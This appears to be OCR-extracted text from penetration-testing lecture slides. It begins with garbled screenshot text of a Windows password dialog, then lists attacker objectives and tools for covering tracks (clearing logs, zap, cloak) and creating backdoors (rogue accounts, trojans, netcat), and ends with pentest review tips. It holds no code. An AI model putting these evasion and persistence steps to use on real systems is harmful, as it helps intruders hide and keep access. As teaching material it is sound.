Resource: Control Panel User name: Example Password: ****** Save this password in your pa	Cancel Cancel	Password Field Selector Close Image: Connect To Image: Connect To Image: DataFlo DataFlo Image: DataFlo Password Image: Software Software
		User name: Snadboy
SDE	all BOY Software	Password: Image: Save password Image: Signal state Save password Phone number: S553640 Dialing from: Default Location Dialing from: Default Location Connect Cancel

Covering Tracks

• Objective:

- -Hide intrusion from system administrators
- -Destroy evidence of how access was gained
- Remain stealthy in order to keep ROOT or ADN access
- Techniques:
 - -Clear logs
 - -Hide tools
- Tools:
 - -zap, invisible, cloak, stealth
 - -rdist, rhosts, getadmin, sechole
 - -Scripts targeting known vulnerabilities

Creating Backdoors

- Objective:
 - -Ensure that access can be regained
 - -Create several backdoors in various areas of the system
- Techniques:
 - -Create rogue user accounts
 - -Replace applications with trojans
 - -Modify startup files
 - -Install monitors
- Tools:
 - -Modify registry
 - netcat, remote.exe



-Add accounts to mail aliases, especially sysadmin





Pentesting: to review

- 1) Vulnerability scanning isn't enough.
- 2) Be sure to include the social engineering factor.
- 3) Include ALL systems and processes
- 4) ...but, also do a vulnerability scan.
- 5) When doing a vulnerability scan, be as thorough as possible "the bad guys don't actually use nessus!"

Thank you! Questions?



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